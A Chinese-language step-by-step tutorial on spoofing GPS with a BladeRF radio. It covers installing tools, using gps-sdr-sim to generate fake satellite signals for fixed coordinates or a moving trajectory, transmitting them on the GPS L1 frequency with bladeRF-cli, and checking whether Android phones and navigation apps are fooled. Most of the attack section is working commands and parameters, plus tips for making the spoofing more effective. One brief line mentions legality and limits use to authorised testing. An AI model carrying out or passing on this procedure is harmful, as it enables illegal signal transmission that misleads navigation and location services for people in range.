使用BladeRF进行GPS欺骗攻击 - 详细教学文档

1. 简介

1.1 BladeRF简介

BladeRF是一款由Nuand公司开发的软件定义无线电(SDR)平台，具有以下特点：

• 高性能、可编程设备
• 能够发送和接收无线电频率信号
• 通过软件控制无线电通信的各个方面
• 替代传统硬件方法的灵活解决方案

1.2 GPS系统简介

GPS(全球定位系统)是基于卫星导航的定位技术：

• 通过一组卫星确定接收器的位置
• 卫星持续广播自己的位置坐标和时间戳
• 接收器通过时间戳和光速计算与卫星的距离
• 理论上需要3颗卫星定位，实际至少需要4颗以减少误差

2. 环境搭建

2.1 硬件准备

• BladeRF设备(x40/x115/A4/A9等型号)
• 运行Kali Linux的主机(推荐)或Windows系统

2.2 Kali Linux环境配置

2.2.1 虚拟机设置

将虚拟机的USB调整为USB3.1模式

2.2.2 安装BladeRF工具

sudo add-apt-repository ppa:nuandllc/bladerf
sudo apt-get update
sudo apt-get install bladerf

2.2.3 安装header文件

sudo apt-get install libbladerf-dev

2.2.4 安装固件和FPGA镜像

根据设备型号选择安装：

sudo apt-get install bladerf-firmware-fx3  # 通用固件
sudo apt-get install bladerf-fpga-hostedx40  # x40型号
sudo apt-get install bladerf-fpga-hostedx115  # x115型号
sudo apt-get install bladerf-fpga-hostedxa4  # 2.0 Micro A4
sudo apt-get install bladerf-fpga-hostedxa9  # 2.0 Micro A9

2.2.5 安装依赖库

sudo apt-get install libusb-1.0-0-dev libusb-1.0-0 build-essential cmake libncurses5-dev libtecla1 libtecla-dev pkg-config git wget

2.2.6 验证设备连接

bladeRF-cli -p

3. GPS数据生成

3.1 获取gps-sdr-sim工具

git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim

3.2 准备卫星星历文件

• 使用项目自带的brdc0010.22n文件
• 或从NASA等机构获取最新的星历数据

3.3 生成静态GPS数据

示例：生成澳门新葡京的固定坐标数据(22.18982545839303, 113.544124355456)

./gps-sdr-sim -e brdc0010.22n -l 22.18982545839303,113.544124355456,100 -b 16

参数说明：

• -e: 星历文件
• -l: 纬度,经度,高度(米)
• -b: 位宽(8或16)

输出文件：gpssim.bin

3.4 生成动态GPS轨迹数据

1. 在Google Earth等工具中导出轨迹为KML格式
2. 使用SatGEN工具将KML转换为MNEA格式
3. 生成轨迹数据：

./gps-sdr-sim -e brdc0010.22n -g KMLoutput.txt -b 16

4. GPS欺骗实施

4.1 BladeRF配置

进入交互模式：

bladeRF-cli -i

设置发射参数：

bladeRF> set frequency tx1 1575.42M
bladeRF> set samplerate tx1 2.6M
bladeRF> set bandwidth tx1 2.5M

参数说明：

• 频率：1575.42MHz (GPS L1频段)
• 采样率：2.6MHz
• 带宽：2.5MHz

4.2 发射GPS信号

bladeRF> tx config file=gpssim.bin format=bin channel=1
bladeRF> tx start
bladeRF> tx wait

4.3 测试效果

4.3.1 静态欺骗测试

• 使用Android设备(建议AOSP系统)
• 打开"GPS Test"等仅GPS定位应用
• 观察定位结果是否变为预设坐标

4.3.2 动态轨迹测试

• 使用高德地图等导航应用
• 观察设备是否按照预设轨迹移动

4.3.3 联网状态测试

• 测试联网状态下定位应用是否会被欺骗
• 结果可能因设备型号、Android版本和网络状况而异

5. 注意事项

1. 法律合规性：GPS欺骗可能违反当地法律，仅限授权测试使用
2. 星历数据：使用最新星历数据可提高欺骗精度
3. 设备兼容性：不同BladeRF型号需要对应FPGA镜像
4. 信号强度：适当调整发射功率以获得最佳效果
5. 测试环境：室内环境更易成功，避免真实GPS信号干扰

6. 参考资源

1. BladeRF官方文档
2. gps-sdr-sim项目
3. BlackHat论文
4. 相关技术博客